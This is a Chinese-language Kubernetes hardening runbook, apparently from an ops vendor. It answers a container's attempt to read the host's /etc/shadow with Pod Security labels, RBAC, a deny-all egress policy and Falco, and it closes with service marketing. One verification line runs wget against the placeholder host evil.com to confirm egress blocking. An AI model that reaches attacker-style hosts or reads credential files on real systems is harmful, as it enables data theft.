KubernetesSRE安全加固
场景
某金融科技公司SRE团队发现生产集群中一个可疑容器尝试读取宿主机/etc/shadow文件。该容器运行在默认命名空间,未应用任何安全上下文。
症状
- 审计日志显示多次失败的文件读取尝试
- 容器进程以root权限运行
- 无NetworkPolicy限制出口流量
诊断
# 检查Pod的安全上下文
kubectl get pod <pod-name> -o jsonpath='{.spec.containers[*].securityContext}'
# 查看集群中PodSecurityPolicy(PSP)或Pod Security Admission配置
kubectl get psp
kubectl get podsecurityadmissionconfiguration
# 检查NetworkPolicy
kubectl get networkpolicy -A
命令(加固步骤)
- 应用Pod Security Standards(基线策略)
kubectl label ns default pod-security.kubernetes.io/enforce=baseline
- 创建最小权限RBAC
kubectl create clusterrole app-reader --verb=get,list --resource=pods
kubectl create rolebinding app-reader --clusterrole=app-reader --serviceaccount=default:default
- 实施NetworkPolicy限制出口
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all-egress
namespace: default
spec:
podSelector: {}
policyTypes:
- Egress
- 运行时安全:安装Falco(使用Helm)
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco -n falco-system --create-namespace
风险控制
- 先在不影响关键业务的namespace上试用
- 启用NetworkPolicy前先测试,避免误阻断
- 监控Falco告警,设置通知
回滚
kubectl label ns default pod-security.kubernetes.io/enforce-
kubectl delete clusterrole app-reader
kubectl delete rolebinding app-reader
kubectl delete networkpolicy deny-all-egress
helm delete falco -n falco-system
验证
# 尝试以非root运行
kubectl run test --image=busybox -- sh -c 'id'
# 检查Pod安全标签
kubectl get ns default -o yaml | grep pod-security
# 检查NetworkPolicy生效
kubectl run test2 --image=busybox -- sh -c 'wget http://evil.com'
# 查看Falco告警
kubectl logs -n falco-system -l app=falco
何时提交OpsGlobal工单
- 加固措施导致核心服务中断且无法快速回滚
- 需要设计跨集群统一安全策略
- 疑似存在容器逃逸或零日漏洞
- 合规审计(如PCI-DSS)要求专家认证
请提供集群kubectl访问权限及现有安全日志,OpsGlobal团队将在15分钟内响应。
适用场景
适合正在处理 Security、Kubernetes, SRE, 安全加固 相关问题的团队,用于快速建立排查路径和交付标准。
问题背景
本文通过真实场景,提供一套完整的Kubernetes安全加固步骤,包括诊断、修复、回滚及何时寻求OpsGlobal专业支持。
排查步骤
先确认影响范围和最近变更,再收集日志、配置、指标和链路数据,最后按风险从低到高执行修复。
命令示例
示例命令请替换为你的真实资源名,并使用环境变量保存账号、密码、token 等敏感信息。
风险说明
生产环境操作前需要确认备份、权限边界、变更窗口和回滚路径,避免扩大故障影响。
回滚方案
保留原配置和发布版本;如修复后指标异常,立即回退配置、镜像或数据库变更并复核日志。
交付清单
问题定位记录、关键命令、修复步骤、验证结果、后续优化建议。
遇到类似技术问题?
如果你的服务器、K8s、Docker、CI/CD、数据库或监控系统出现类似问题,可以提交日志和配置文件,我们帮你远程诊断。